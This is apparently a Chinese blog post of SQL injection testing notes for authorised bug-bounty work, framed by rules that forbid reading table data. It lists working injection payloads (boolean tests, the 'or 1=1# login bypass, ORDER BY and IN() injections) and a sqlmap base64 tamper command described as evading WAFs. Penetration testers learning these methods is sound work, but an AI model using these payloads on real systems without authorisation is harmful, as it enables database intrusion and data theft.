sql注入
sql注入测试规范
注入漏洞,只要证明可以读取数据就行,严禁读取表内数据。对于UPDATE、DELETE、 INSERT 等注入类型,不允许使用自动化工具进行测试。
SRC行业安全测试规范 https://security.tencent.com/announcement/msg/180
sql注入原理
SQL注入(英语:SQL injection),也称SQL注入或SQL注码,是发生于应用程序与 数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良 的程序当中 忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认 为是正常的SQL指令而执行,因此遭到破坏或是入侵。
普通测试: 整型:id=111-0与id=111-1
字符型: username=zhangsan' and 1=1# 与username=zhangsan' and 1=1#
搜索型:word=a%' and 1=1# 与 word=a%' and 1=2#
万能密码: 用户名填写 'or 1=1# 密码随意填
非常见位置测试:
order by [注入点]: 常见参数(orderby) //预编译对该位置sql注入无效
原值,if((1=1),1,(select 1 union select 2))
原值,if((1=2),1,(select 1 union select 2))
order by 列名 [注入点]: 常见默认值(desc、asc) //预编译对该位置sql注入无效
,if((1=1),1,(select 1 union select 2))
,if((1=2),1,(select 1 union select 2))
非常见位置测试:
in (注入点): 常见参数(ids或值中包含,的其他参数)
原值) and 1=1# 字符型:原值') and 1=1#
原值) and 1=2# 字符型:原值') and 1=2
base64参数的测试:
优势:绝大部分扫描器不会识别
参数经过base64转换后可以绕过waf
示例: http://192.168.31.103/sql_base64.php?test_param=bGlsaQ%3D%3D
利用:python sqlmap.py -u
"http://192.168.31.103/sql_base64.php?test_param=bGlsaQ%3D%3D" -p test_param --tamper
base64encode.py
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· SQL Server 2025 AI相关能力初探
· 单线程的Redis速度为什么快?
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码